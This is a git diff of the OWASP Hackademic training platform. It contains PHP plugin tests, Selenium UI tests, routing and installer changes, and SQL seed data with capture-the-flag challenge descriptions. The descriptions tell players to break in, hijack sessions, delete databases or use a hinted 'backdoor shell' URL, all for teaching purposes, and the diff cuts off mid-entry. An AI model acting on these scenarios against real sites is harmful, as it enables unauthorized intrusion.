+ global $db; + $name = 'test_menu'; + MenuBackend::addMenu($name); + $mid = MenuBackend::insertId(); + $result = Plugin::delete_menu($mid); + $db->query('delete from menus where mid = "$mid"'); + assert($result === TRUE); + } + + /** + * Tests adding a page + */ + public static function test_add_page() { + global $db; + $url = 'testurl'; + $file = 'testfile'; + $result = Plugin::add_page($url, $file); + $db->query('delete from pages where url = "' . $url . '"'); + assert($result === TRUE); + } + + /** + * Tests retrieving a file for a url + */ + public static function test_get_file_for_page() { + global $db; + $url = 'testurl'; + $file = 'testpage'; + Plugin::add_page($url, $file); + $result = Plugin::get_file_for_page($url); + $db->query('delete from pages where url = "' . $url . '"'); + assert($result['file'] === $file); + } + + /** + * Tests updating a page + */ + public static function test_update_page() { + global $db; + $url = 'testurl'; + $file = 'testfile'; + $file2 = 'testfile2'; + Plugin::add_page($url, $file); + $result = Plugin::update_page($url, $file2); + $db->query('delete from pages where url = "' . $url . '"'); + assert($result === TRUE); + } + + /** + * Tests deleting a page + */ + public static function test_delete_page() { + global $db; + $url = 'testurl'; + $file = 'testfile'; + Plugin::add_page($url, $file); + $result = Plugin::delete_page($url); + $db->query('delete from pages where url = "' . $url . '"'); + assert($result === TRUE); + } + + /** + * Tests adding a menu item to an existing menu + */ + public static function test_add_menu_item() { + global $db; + $url = 'testurl'; + $mid = MenuBackend::ADMIN_MENU; + $label = 'testlabel'; + $parent = 0; + $sort = 0; + $result = Plugin::add_menu_item($url, $mid, $label, $parent, $sort); + $db->query('delete from menu_items where url="' . $url . '" and mid="$mid"'); + assert($result === TRUE); + } + + /** + * Tests updating an existing menu item + */ + public static function test_update_menu_item() { + global $db; + $url = 'testurl'; + $mid = MenuBackend::ADMIN_MENU; + $label = 'testlabel'; + $label2 = 'updated-testlabel'; + $parent = 0; + $sort = 0; + MenuBackend::addMenuItem($url, $mid, $label, $parent, $sort); + $result = Plugin::update_menu_item($url, $mid, $label2, $parent, $sort); + $db->query('delete from menu_items where url="' . $url . '" and mid="$mid"'); + assert($result === TRUE); + } + + /** + * Tests deleting a menu item + */ + public static function test_delete_menu_item() { + global $db; + $url = 'testurl'; + $mid = MenuBackend::ADMIN_MENU; + $label = 'testlabel'; + $parent = 0; + $sort = 0; + MenuBackend::addMenuItem($url, $mid, $label, $parent, $sort); + $result = Plugin::delete_menu_item($url, $mid); + $db->query('delete from menu_items where url="' . $url . '" and mid="$mid"'); + assert($result === TRUE); + } + +} + +/** + * + * Helper functions to test that are executed by the Plugin API below + * + */ + +function test_test_filter($arg0) { + return "filtered: " . $arg0; +} + +function test_test_filter_2($arg0, $arg1) { + return "filtered: " . $arg0 . $arg1; +} + +function test_test_filter_prio_1() { + return "prio1"; +} + +function test_test_filter_prio_2() { + return "prio2"; +} + +function test_test_action($arg0) { + global $action; + $action = $arg0; +} + +function test_test_action_2($arg0, $arg1) { + global $action; + $action = $arg0 . $arg1; +} + +function test_test_action_prio_1() { + global $action; + $action = "prio1"; +} + +function test_test_action_prio_2() { + global $action; + $action = "prio2"; +} diff --git a/hackademic_devtests/selenium-server-standalone-2.45.0.jar b/hackademic_devtests/selenium-server-standalone-2.45.0.jar new file mode 100755 index 00000000..020191b7 Binary files /dev/null and b/hackademic_devtests/selenium-server-standalone-2.45.0.jar differ diff --git a/hackademic_devtests/selenium/ui/log_in_click_options_enable_disable_plugin_and_theme.html b/hackademic_devtests/selenium/ui/log_in_click_options_enable_disable_plugin_and_theme.html new file mode 100755 index 00000000..ab30cd41 --- /dev/null +++ b/hackademic_devtests/selenium/ui/log_in_click_options_enable_disable_plugin_and_theme.html @@ -0,0 +1,116 @@ + + + + + + +Log in click options enable disable plugin and theme + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Log in click options enable disable plugin and theme
open/
typename=usernameadmin
typeid=passwordadmin
clickAndWaitid=submit
verifyTextlink=OptionsOptions
clickAndWaitlink=Options
assertValuename=plugin_article-challenge-connect/article-challenge-connect.phpoff
assertValuexpath=(//input[@name='active_user_theme'])[2]off
clickname=plugin_article-challenge-connect/article-challenge-connect.php
clickxpath=(//input[@name='active_user_theme'])[2]
clickAndWaitid=submit
assertValuename=plugin_article-challenge-connect/article-challenge-connect.phpon
assertValuexpath=(//input[@name='active_user_theme'])[2]on
clickname=plugin_article-challenge-connect/article-challenge-connect.php
clickname=active_user_theme
clickAndWaitid=submit
assertValuename=plugin_article-challenge-connect/article-challenge-connect.phpoff
assertValuexpath=(//input[@name='active_user_theme'])[2]off
assertValuename=active_user_themeon
clickAndWaitlink=Logout
+ + diff --git a/hackademic_devtests/selenium/ui/test_plugin_suite.html b/hackademic_devtests/selenium/ui/test_plugin_suite.html new file mode 100755 index 00000000..91675186 --- /dev/null +++ b/hackademic_devtests/selenium/ui/test_plugin_suite.html @@ -0,0 +1,16 @@ + + + + + + Test Suite + + + + + + + +
Test Suite
log_in_click_through_all_pages
log_in_click_options_enable_disable_plugin_and_theme
log_in_enable_custom_uni_plugin_add_article_with_challenge_and_confirm
+ + diff --git a/index.php b/index.php index 72c46ea9..2e55e0ba 100755 --- a/index.php +++ b/index.php @@ -36,10 +36,18 @@ } if (!file_exists('config.inc.php')) { header("Location: ./installation/install.php"); - die(); + error_log("Couldn't find config file, installing"); + die("No config"); } require_once('init.php'); -require_once(HACKADEMIC_PATH."controller/class.LandingPageController.php"); -$controller = new LandingPageController(); -echo $controller->go(); \ No newline at end of file +$url = isset($_GET['url']) ? $_GET['url'] : ''; +if($url != '') { + require_once(HACKADEMIC_PATH . "model/common/class.Page.php"); + $path = Page::getFile($url); + require_once(HACKADEMIC_PATH . $path['file']); +} else { + require_once(HACKADEMIC_PATH . "controller/class.LandingPageController.php"); + $controller = new LandingPageController(); + echo $controller->go(); +} diff --git a/init.php b/init.php index 1e433a4f..b4ec51e3 100755 --- a/init.php +++ b/init.php @@ -37,8 +37,10 @@ } else { ini_set('display_errors', false); } + +$db = new HackademicDB(); Loader::init(); -$db=new HackademicDB(); + require_once("esapi/class.Esapi_Utils.php"); @@ -46,3 +48,15 @@ // error_log("Esapi not inited in init", 0); $ESAPI_utils = new Esapi_Utils(); } + +function removeDirectory($path) { + $files = glob($path . '/*'); + foreach ($files as $file) { + is_dir($file) ? removeDirectory($file) : unlink($file); + } + rmdir($path); + return; + } +if(file_exists (HACKADEMIC_PATH."/installation") && defined('ENVIRONMENT') && ENVIRONMENT != "dev") + removeDirectory(HACKADEMIC_PATH."/installation"); +?> diff --git a/installation/index.php b/installation/index.php old mode 100644 new mode 100755 diff --git a/installation/installer/Installer.php b/installation/installer/Installer.php index 8646248a..b3a37ca9 100755 --- a/installation/installer/Installer.php +++ b/installation/installer/Installer.php @@ -241,7 +241,7 @@ public function dbTables(array $options) returns a connection error. Since we will CREATE IF NOT EXISTS, and then USE the database we don't provide a dbname here*/ $link = new mysqli($this->_options['dbhost'], $this->_options['dbuser'], $this->_options['dbpass']); - if(!$link) { + if(!$link || $link->connect_errno) { $this->view->error($this->lang['L-04']); } @@ -385,6 +385,7 @@ public function configWrite() } $this->view->vars = array("login_path" => ''.$_POST['source_root_path'].''); $this->view->render('finish'); + $_SESSION = array(); unset($_SESSION); } @@ -427,7 +428,7 @@ public function buildLangSelect() $files = array(); foreach($dirs as $file) { - if ($file == '.' || $file == '..') + if ($file == '.' || $file == '..'|| $file == "index.php") { continue; } diff --git a/installation/installer/data/index.php b/installation/installer/data/index.php old mode 100644 new mode 100755 diff --git a/installation/installer/data/lang/english.php b/installation/installer/data/lang/english.php index 0a3f552d..ab5738c7 100755 --- a/installation/installer/data/lang/english.php +++ b/installation/installer/data/lang/english.php @@ -47,7 +47,7 @@ 'I-16' => "Continue Anyway...", 'I-17' => "Configuration File Settings", 'I-18' => "Site Root Path", -'I-19' => "Sorce Root Path", +'I-19' => "Source Root Path", 'I-20' => "Finish", 'I-21' => "Installation Completed", diff --git a/installation/installer/data/lang/index.php b/installation/installer/data/lang/index.php old mode 100644 new mode 100755 diff --git a/installation/installer/index.php b/installation/installer/index.php old mode 100644 new mode 100755 diff --git a/installation/sql/db.sql b/installation/sql/db.sql index 71cf431b..922c2da9 100755 --- a/installation/sql/db.sql +++ b/installation/sql/db.sql @@ -17,39 +17,46 @@ CREATE TABLE IF NOT EXISTS articles ( -- -- Dumping data for table articles --- -INSERT INTO articles ( title , content , date_posted , created_by , last_modified , last_modified_by , ordering , is_published ) VALUES -('Welcome to Hackademic v0.9!', '

\"owasp\"

Thank you for installling and using the Hackademic challenges project.

You can find our code on githubhere, for any problems or support, please open an issue on our github repository.

Hackademic is a FOSS project under the OWASP umbrela organization.

', '2013-08-18 00:00:17', 'admin', '2013-08-18 00:04:27', 'admin', 0, 1); - +-- +INSERT INTO articles ( title , content , date_posted , created_by , last_modified , last_modified_by , ordering , is_published ) VALUES +('Welcome to Hackademic v0.9!', '

\"owasp\"

Thank you for installling and using the Hackademic challenges project.

You can find our code on github here, for any problems or support, please open an issue on our github repository.

Hackademic is a FOSS project under the OWASP umbrela organization.

', '2013-08-18 00:00:17', 'admin', '2013-08-18 00:04:27', 'admin', 0, 1); + -- -------------------------------------------------------- -- -- Table structure for table challenges -- -CREATE TABLE IF NOT EXISTS challenges ( - id int(11) NOT NULL AUTO_INCREMENT, - title varchar(255) DEFAULT NULL, - pkg_name varchar(255) NOT NULL, - description text, - author varchar(255) NOT NULL, - category varchar(255) NOT NULL, - date_posted datetime NOT NULL, - visibility varchar(255) DEFAULT 'private', - publish int(10) DEFAULT '0', - abstract varchar(255) DEFAULT NULL, - level varchar(255) DEFAULT NULL, - duration int(11) DEFAULT NULL, - goal varchar(255) DEFAULT NULL, - solution varchar(255) DEFAULT NULL, - availability varchar(255) DEFAULT 'private', - default_points int(11) DEFAULT NULL, - default_duration int(11) DEFAULT NULL, - PRIMARY KEY ( id ) -); +-- +-- Table structure for table `challenges` +-- + +CREATE TABLE IF NOT EXISTS `challenges` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `title` varchar(255) NOT NULL, + `pkg_name` varchar(255) NOT NULL, + `description` text NOT NULL, + `author` varchar(255) NOT NULL, + `category` varchar(255) NOT NULL, + `date_posted` datetime NOT NULL, + `visibility` varchar(255) NOT NULL DEFAULT 'private', + `publish` int(10) DEFAULT '0', + `abstract` varchar(255) DEFAULT NULL, + `level` varchar(255) DEFAULT NULL, + `duration` int(11) DEFAULT NULL, + `goal` varchar(255) DEFAULT NULL, + `solution` varchar(255) DEFAULT NULL, + `availability` varchar(255) NOT NULL DEFAULT 'private', + `default_points` int(11) DEFAULT NULL, + `default_duration` int(11) DEFAULT NULL, + PRIMARY KEY (`id`), + UNIQUE KEY `id` (`id`), + UNIQUE KEY `pkg_name` (`pkg_name`), + UNIQUE KEY `title` (`title`) +) ENGINE=InnoDB DEFAULT CHARSET=ascii AUTO_INCREMENT=1 ; -- --- Dumping data for table challenges +-- Dumping data for table `challenges` -- INSERT INTO `challenges` (`title`, `pkg_name`, `description`, `author`, `category`, `date_posted`, `visibility`, `publish`, `abstract`, `level`, `duration`, `goal`, `solution`, `availability`, `default_points`, `default_duration`) VALUES @@ -64,9 +71,42 @@ INSERT INTO `challenges` (`title`, `pkg_name`, `description`, `author`, `categor ('Challenge 9', 'ch009', 'A friend of yours has set up a news blog at slagoff.com. However, he is kind of worried \r\n\r\nregarding the security of the news that gets posted on the blog and has asked you to check \r\n\r\nhow secure it is.

Your objective is to determine whether any vulnerabilities \r\n\r\nexist that, if exploited, can grant access to the blog''s server.

Hint: A \r\n\r\nspecially-tailored backdoor shell can be found at "http://www.really_nasty_hacker.com/shell.txt".', 'Andreas Venieris,\n \r\n\r\nKonstantinos Papapanagiotou,\n Anastasios Stasinopoulos,\n Vasilios Vlachos,\r\n\r\n\n Alexandros Papanikolaou', 'web', '2012-08-09 00:31:31', 'public', 1, NULL, '1', 60, NULL, NULL, 'public', 1, 60), ('Challenge 10', 'ch010', 'Would you like to become an active hacker ?
How about \r\n\r\nbecoming a member of the world''s largest hacker group:
The n1nJ4.n4x0rZ.CreW!
\r\n\r\n
Before you can join though, you ''ll have to prove yourself worthy by passing the \r\n\r\ntest that can be found at: http://n1nj4h4x0rzcr3w.com

If you succeed in completing the challenge, \r\n\r\nyou will get a serial number, which you will use for obtaining the password that will \r\n\r\nenable you to join the group.

Your objective is to bypass the authentication \r\n\r\nmechanism, find the serial number and be supplied with your own username and password from \r\n\r\n the admin team of the site.', 'Andreas Venieris,\n Konstantinos Papapanagiotou,\n \r\n\r\n Anastasios Stasinopoulos,\n Vasilios Vlachos,\n Alexandros \r\n\r\nPapanikolaou', 'web', '2012-08-09 00:32:07', 'public', 1, NULL, '1', 60, NULL, NULL, 'public', 1, 60), ('Example Template For Challenge xml Files creation', 'example', '

Insert some text describing the scenario of the challenge(what the users are supposed to do and if there is any fictional story)

', 'Name or email or both', 'In what category does your challenge belong?(web? crypto? networks?)', '2012-10-16 22:35:01', 'private', 0, NULL, '1', 60, NULL, NULL, 'private', 1, 0), -('cookiEng', 'cookiEng', '

Hello, we have heard that you are one of the best hackers in our country. We need your services.
You must visit an underground site and find
the right password. With this password we will cancel 100k+ illegal gun and drug deals!\n The good news are that we have the directory where the password is stored. Its here \\\"/t0psec.php\\\".\n The bad news are that we have no access there. Only the administrator does. Go and find the password for us!


Good luck!

', 'Nikos Danopoulos', 'web', '2012-08-09 00:32:07', 'public', 1, NULL, '1', 60, NULL, NULL, 'public', 1, 60), -('Izon Challenge', 'izon', '

After the mysterious disappearance of your best friend, you are contacted by an unknown individual who claims to have information about your friend. This individual identifies himself as \"Mister Jax\" and claims that is a former colleague of your friend.

Your friend was working at Izon Corporation, a weapons manufactured and government contractor as a systems engineer. Mister Jax didn\'t tell you his role in Izon, but wants you to pass through a series of tests to infiltrate Izon\'s web security to find the truth about your friend

After much consideration you agree with Mister Jax and he, remotely, sets up your computer to look like as if it is a part of Izon\'s Virtual Private Network in order to access their site. He also said that he\'ll guide you while you work your way to uncover the truth about your lost friend

Here is a copy of Mister Jax\'s last email:

The task is simple: You get in, get your information and get out.\r\nYour friend was either a dumb programmer or a brilliant one, he left\r\nmany holes to be exploited in order to gain higher access to the site.\r\nI\'ll be guiding you with tips while you try to hack through Izon\'s site.\r\nThere are four tasks, some related to each other, some not.\r\nYou need to use your skills to overcome the obstacles, knowledge will come along.\r\nSixty minutes will suffice. When they\'re over, I won\'t be able to offer any\r\ncover to you, and you\'ll be compromised, with unknown consequences, I\'m afraid.\r\nI\'ll be seeing you there.\r\n\r\   - Jax

Once you get in, you\'ll have sixty minutes to complete this challenge. Use common sense, remember that the most obvious place hides the most important stuff and try to behave as if you were hacking a real system.

Good Luck!

', 'Vasileios Mplanas', 'web', '2014-03-27 00:00:00', 'public', 1, NULL, '1', 60, NULL, NULL, 'public', 10, 60); --- -------------------------------------------------------- +('cookiEng', 'cookiEng', '

Hello, we have heard that you are one of the best hackers in our country. We need your services.
You must visit an underground site and find
the right password. With this password we will cancel 100k+ illegal gun and drug deals!\n The good news are that we have the directory where the password is stored. Its here \\"/t0psec.php\\".\n The bad news are that we have no access there. Only the administrator does. Go and find the password for us!


Good luck!

', 'Nikos Danopoulos', 'web', '2012-08-09 00:32:07', 'public', 1, NULL, '1', 60, NULL, NULL, 'public', 1, 60), +('Izon Challenge', 'izon', '

After the mysterious disappearance of your best friend, you are contacted by an unknown individual who claims to have information about your friend. This individual identifies himself as "Mister Jax" and claims that is a former colleague of your friend.

Your friend was working at Izon Corporation, a weapons manufactured and government contractor as a systems engineer. Mister Jax didn''t tell you his role in Izon, but wants you to pass through a series of tests to infiltrate Izon''s web security to find the truth about your friend

After much consideration you agree with Mister Jax and he, remotely, sets up your computer to look like as if it is a part of Izon''s Virtual Private Network in order to access their site. He also said that he''ll guide you while you work your way to uncover the truth about your lost friend

Here is a copy of Mister Jax''s last email:

The task is simple: You get in, get your information and get out.\r\nYour friend was either a dumb programmer or a brilliant one, he left\r\nmany holes to be exploited in order to gain higher access to the site.\r\nI''ll be guiding you with tips while you try to hack through Izon''s site.\r\nThere are four tasks, some related to each other, some not.\r\nYou need to use your skills to overcome the obstacles, knowledge will come along.\r\nSixty minutes will suffice. When they''re over, I won''t be able to offer any\r\ncover to you, and you''ll be compromised, with unknown consequences, I''m afraid.\r\nI''ll be seeing you there.\r\n\r   - Jax

Once you get in, you''ll have sixty minutes to complete this challenge. Use common sense, remember that the most obvious place hides the most important stuff and try to behave as if you were hacking a real system.

Good Luck!

', 'Vasileios Mplanas', 'web', '2014-03-27 00:00:00', 'public', 1, NULL, '1', 60, NULL, NULL, 'public', 10, 60), +('Fun with Frequencies', 'ch011', '\n You are given a file that has been encrypted with a substitution cipher using some key permutation P.\n And a mysterious ciphertext, that has also been encrypted with the same key permutation P. \n Everything you need to know is explained in the challenge.\n \n Your Objective: give us the decryption of the mysterious ciphertext, should you choose to accept it.\n\n\n ', 'Subhayan RoyMoulick, Dan Myshkin, Spyros Gasteratos\n ', 'crypto', '2015-03-15 23:05:31', 'public', 1, NULL, '2', 60, NULL, NULL, 'public', NULL, NULL), +('OTP Challenge', 'ch012', ' \n You are given ciphertexts of various messages, encrypted with the same key using a XOR Cipher or Vernam or One Time Pad. \n\n However we know the OTP is secure for encrypting only one message. And we are confident it is possible to break the scheme now. \n\n Given a set of ciphertexts, we are interested in knowing only one. \n \n Your Objective: Decipher the asked ciphertext and suggest us a strategy for action.\n\n ', 'Subhayan RoyMoulick, Dan Myshkin, Spyros Gasteratos\n ', 'crypto', '2015-03-15 23:05:32', 'public', 1, NULL, '4', 45, NULL, NULL, 'public', NULL, NULL), +('Silly MACs', 'ch013', '\n Our adversaries use a primitive and insecure mode of operation to obtain Message Authentication Codes for communication. While they use a secure block cipher, F, to obtain MACs for one block, when it comes to multiple blocks their scheme can be easily manupulted and broken. \n\n Your Objective : Help us forge a valid MAC to confuse them. \n\n ', 'Subhayan RoyMoulick, Dan Myshkin, Spyros Gasteratos\n ', 'crypto', '2015-03-15 23:05:33', 'public', 1, NULL, '\n 4\n ', 0, NULL, NULL, 'public', NULL, NULL), +('RSA Challenge I: Bad Primes', 'ch014', '\n We have an RSA encrypted message. \n All we know is that the program that generated the RSA primes, p,q uses a bad PRG, so we are confindent |p-q| leq 10000 (decimal). \n Your Objective : Factor N, and tell us the originial messeage. \n\n ', 'Subhayan RoyMoulick, Dan Myshkin, Spyros Gasteratos\n ', 'crypto', '2015-03-15 23:05:34', 'public', 1, NULL, '6', 90, NULL, NULL, 'public', NULL, NULL), +('RSA Challenge II: Common Modulas', 'ch015', '\n We have a single message m, that was encrpted, using RSA, and sent to several people.\n All reciepents have the same RSA modulas N (N=pq). \n We are however only interested in the message.\n\n Your Objective : Reveal the originial message. (Assume m le N) \n\n ', 'Subhayan RoyMoulick, Dan Myshkin, Spyros Gasteratos\n ', 'crypto', '2015-03-15 23:05:35', 'public', 1, NULL, '6', 120, NULL, NULL, 'public', NULL, NULL), +('RSA Challenge III: Low Encryption Exponent', 'ch016', '\n We have a single message m, that was encrpted, using RSA, and sent to three people.\n All reciepents have the same RSA ecryption modulas e (e=3), (notice it also matches the no. of recipients ). \n We are interested in the message. \n\n Your Objective : Reveal the originial message', 'Subhayan RoyMoulick, Dan Myshkin, Spyros Gasteratos', 'crypto', '2015-03-15 23:05:36', 'public', 1, NULL, '7', 120, NULL, NULL, 'public', NULL, NULL), +('Meet in the Middle', 'ch017', '\n We have a few ciphertexts we are interested to decrypt. These ciphertexts are "made of" messages containting non-padded prime products.\n Your Objective : Reveal the originial messages \n\n ', 'Subhayan RoyMoulick, Dan Myshkin, Spyros Gasteratos\n ', 'crypto', '2015-03-15 23:05:37', 'public', 1, NULL, '8', 180, NULL, NULL, 'public', NULL, NULL), +('Blinding Signatures', 'ch018', '\n We have a message m, for which we want a valid signature. While we have access to a Sign Oracle to query signatures, it will not respond and sign the challenge message for which we want the signature.\n Your Mission, should you choose to accept it, is to forge a signature on the challenge message, using the oracle (or otherwise). \n\n ', 'Subhayan RoyMoulick, Dan Myshkin, Spyros Gasteratos\n ', 'crypto', '2015-03-15 23:05:38', 'public', 1, NULL, '6', 60, NULL, NULL, 'public', NULL, NULL), +('RSA Challenge IV: Low Private Exponent', 'ch020', '\n You are asked to audit a system that uses a Low Private Exponent (i.e. the Private Key), to save time decryption/signing.\n We think it is a bad idea and the Private Exponent can be approximated.\n Your Goal: Approximate the Private Exponent. \n ', 'Subhayan RoyMoulick, Dan Myshkin, Spyros Gasteratos\n ', 'crypto', '2015-03-15 23:05:39', 'public', 1, NULL, '7', 120, NULL, NULL, 'public', NULL, NULL), +('Challenge 21', 'ch021', '\n \n This time,the website has increased its security.Passwords are not stored in plaintext anymore.Can you crack the admin password this time? \n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 22', 'ch022', '\n \n The Great Hackers Challenge!! Yes,you heard it right.You are given a chance to try out this challenge,which has been left unsolved till now. You are asked to break the authentication of a web page.But,the only problem is that there doesn''t exist any vulnerability to exploit. \n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:41', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 23', 'ch023', '\n \n Ever been to take part in a treasure hint? Here''s your chance.The treasure is hidden somewhere in the web server.Try to use the hints available and reach the treasure. \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:42', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 24', 'ch024', '\n \n You have ordered a product on a website online.But,you found out that the product was defective and so, asked for a refund. But,the website rejected your refund request without any reason. You, being a hacker want to hack into the system and make your refund request accepted. \n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web,network', '2015-03-15 23:05:43', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 25', 'ch025', '\n \n Time to hurry! You have mistakenly sent an important mail to the wrong person. The details of the mail are too valuable and you can''t risk them being read by a wrong person.So, hurry up and stop the person from reading the mail.\n Your Email: user234@email.com\n Password: Usr@#$lc \n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:44', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 26', 'ch026', '\n \n You are a member of the National Cyber Security group, along with a friend of yours.\n \n Your friend came across a conversation between 2 people and he suspected it to be related to some fraud. So , he started a Man-In-The-Middle Attack and succesfully installed a new key between them, during the key exchange phase. \n \n Now, he has asked you to spy on this conversation and gave you the details of the keys.He did not give you any information about the encryption scheme being used in the conversation. Its your turn to continue the MIM attack in such a way that none of the parties detect the attack. \n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:45', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 27', 'ch027', '\n \n The archaeological department has found a book which is hundreds of years old. This book named ''The Treasure'' tells of a treasure of immense value.The book also contains an encrypted text, which might help in finding the key to the treasure. You have been entrusted the responsibility to decipher it.\n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'crypto', '2015-03-15 23:05:46', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 28', 'ch028', '\n \nYou are again given the task to perform a Man-In-Middle Attack by your Security Agency.This time, both the parties are using the secure Diffie-Hellman Key Exchange protocol for generating keys.You have to perform the MIM attack during this key exchange.You can read about this key exchange protocol\nhere\n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:39', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 29', 'ch029', '\n \nThis is a challenge to test your knowledge of Cross Site Request Forgery attacks. Use CSRF attack and get your bank account credited with an amount of 1200 or greater.\n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:39', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 30', 'ch030', '\n \nRSA is being used to provide security in various transactions. Knowing this, your friend implemented RSA by following the theory in the notes.He made a RSA cipher text using his implementation and challenged you, if you could break this RSA based cipher. Its time to prove your cryptographic skills. \n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'crypto', '2015-03-15 23:05:39', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 31', 'ch031', '\n \nA friend of yours needs immediate surgery. It costs thousands of dollars and he doesn''t have money, neither do you. Your friend used to be rich, then got attracted to a lucky draw(lottery) website.He used all his money to buy lottery tickets in this website and thus, he lost all his money.\nNow, you came to know that this website is a fraud and eachtime, gives the winning lottery ticket to its own people. So, you want take revenge on that website and also earn money to help him. So, you want to win the lottery by finding some security vulnerability in the website.\n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:39', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 32', 'ch032', '\n \n Here is a company established to help people in their financial affairs. Your neighbour is a technical helper in that company, he recently found that the company is cheating people and somehow collecting people''s creditcard details. Before informing the police, the company''s database should be deleted,else they would get alerted and copy database to somewhere else.
So knowing you to be a hacker, he rushes to you, narrates you everything.Thinking that it may help you,he says that he has seen programmers of that website work in a folder named ''scripts'' present in the root directory. Can you handle the task and delete the database?\n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 33', 'ch033', '\n \nThe commander of the aliens has ordered his army to destroy a planet. You are on a mission to save the planet.(Yes!!, you are a Jedi Knight). You found a secret message sent by the commander. The message is in the Alien language,you have to decode it and save the planet.\n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web,crypto', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 34', 'ch034', '\n \n This is an ecommerce website selling mobiles.Can you break the website''s security by logging in as Admin? \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 35', 'ch035', '\n \n The following website has intense protection from CSRF attacks.It allows only those requests originating from http://example.com . But you need immediate access to the website.How do you achieve it?\n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 36', 'ch036', '\n \n The commander of Aliens has again ordered for the attack. They have reached earth and established their station somewhere. Help the army track their location by getting into the Alien''s web server.\n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 37', 'ch037', '\n \nYou have been using an online calendar service for a long time.Recently, a bug has crept into that service and so,its displaying the wrong date and time.You have saved a lot of events and plans in that website and they all got mapped to some different date and time.The website doesn''t even have a contact-us info to report the bug.See if you can creep into the server and change the settings.\n\n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 38', 'ch038', '\n \nYou have come across a series of encrypted messages exchanged between 2 servers.You suspect these messages to be related to an online fraud. So,to verify these messages,you need the key file. The needed file is key.txt and is located in the web root directory,but you have no permission to access it. Can you access this file and decrypt the message?\n\n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 39', 'ch039', '\n \n XOR cipher is one of the most secure ciphers and provides unconditional security. YOu are now given a task to break this cipher.Find the message corresponding to a xor encrypted cipher text.\n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'crypto', '2015-03-15 23:05:40', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 40', 'ch040', '\n \n Your friend wants to take help from a third party service provider to improve his own website''s security and search engine visibility.He asked you to view that website and certify it to be completely secure.If you find some loophole in the website''s security, use it to log in as the admin.\n \n ', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'web', '2015-03-15 23:05:41', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 41', 'ch041', '\n \n A Friend of your''s is a great football freak, he has newly created a website [ FootbalLovers ] and has challenged you to get the admin privileges to the website by setting up a ctf type challenge. All you have to do is find out the login credentials of the website and login as admin.\n \n \nHints and tips : First thing you will notice is, that this admin page has right click disabled on it (or rather both the clicks). This is a little annoying thing, but some web developers use it to hide their source code and maybe some private images. You would have to bypass this and get your way around to the credentials, maybe hidden or encrypted. There are some more hints as you proceed through the challenge. Here''s one : "Images can reveal way too much". All the Best, don''t lose patience !!\n \n \n \n', '\n Bhanudev Chaluvadi\n Spyros Gasteratos\n ', 'stegano', '2016-03-8 06:51:22', 'public', 1, NULL, '', 0, NULL, NULL, 'public', NULL, NULL), +('Challenge 42', 'ch042', '\n \n Government officials have discovered a paid website, which might have illegal activities covering under them, and they have hired you to get the admin login details of this SITE. However, they have solved this to an extent and have MITM''d a regular user to get the following credentials { username : scrtusr & password : mint_cinnamon} however this bit of information isn''t enough to get to the user''s profile or to inject into the website to get admin login 